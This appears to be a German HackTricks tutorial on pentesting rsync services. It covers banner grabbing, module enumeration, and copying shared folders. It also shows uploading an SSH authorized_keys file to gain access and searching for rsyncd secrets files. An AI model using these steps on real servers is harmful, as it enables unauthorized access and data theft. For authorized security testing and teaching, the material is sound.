8.3 KiB
873 - Pentesting Rsync
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Grundlegende Informationen
Aus Wikipedia übersetzt:
rsync ist ein Dienstprogramm zum effizienten Übertragen und Synchronisieren von Dateien zwischen einem Computer und einer externen Festplatte sowie zwischen vernetzten Computern, indem die Änderungszeiten und Größen der Dateien verglichen werden.[3] Es ist häufig auf Unix-ähnlichen Betriebssystemen zu finden. Der Rsync-Algorithmus ist eine Art von Delta-Codierung und wird zur Minimierung des Netzwerkverbrauchs verwendet. Zlib kann für zusätzliche Datenkompression verwendet werden,[3] und SSH oder stunnel können für die Sicherheit verwendet werden.
Standardport: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Banner & manuelle Kommunikation
Die Enumeration von Rsync beginnt mit der Überprüfung des Banners und der manuellen Kommunikation. Der Rsync-Dienst sendet normalerweise einen Begrüßungstext, der Informationen über die Version und die unterstützten Funktionen enthält. Dieser Begrüßungstext kann verwendet werden, um Informationen über den Rsync-Server zu sammeln.
Um den Banner zu überprüfen, kann das Tool nc
(Netcat) verwendet werden, um eine Verbindung zum Rsync-Server herzustellen und den Begrüßungstext anzuzeigen. Die Syntax lautet:
nc <ziel-ip> <ziel-port>
Nachdem die Verbindung hergestellt wurde, wird der Begrüßungstext angezeigt. Dieser Text kann Informationen wie die Rsync-Version, das Betriebssystem und andere nützliche Details enthalten.
Die manuelle Kommunikation beinhaltet das Senden von Rsync-Befehlen an den Server und das Überprüfen der Antworten. Dies kann mit dem Tool rsync
durchgeführt werden. Die Syntax lautet:
rsync <ziel-ip>::
Dieser Befehl fordert eine Liste der freigegebenen Module vom Rsync-Server an. Die Antwort enthält Informationen über die verfügbaren Module und deren Pfade.
Die Banner- und manuelle Kommunikationstechniken sind hilfreich, um Informationen über den Rsync-Server zu sammeln und potenzielle Schwachstellen zu identifizieren.
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Ermittlung freigegebener Ordner
Rsync-Module werden als Verzeichnisfreigaben erkannt, die möglicherweise mit Passwörtern geschützt sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste angezeigt werden und möglicherweise versteckt sind. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.
Brute Force
Manuelle Verwendung von Rsync
Nachdem Sie eine Modulliste erhalten haben, hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung können Sie Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis auflisten und kopieren, indem Sie Folgendes verwenden:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Dieser Prozess überträgt Dateien rekursiv und bewahrt dabei ihre Attribute und Berechtigungen.
Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei ein Passwort-Prompt angezeigt wird:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Um Inhalte hochzuladen, wie z.B. eine authorized_keys-Datei für den Zugriff, verwenden Sie:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie Folgendes aus:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Innerhalb dieser Datei kann ein secrets file Parameter auf eine Datei verweisen, die Benutzernamen und Passwörter für die rsyncd-Authentifizierung enthält.
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.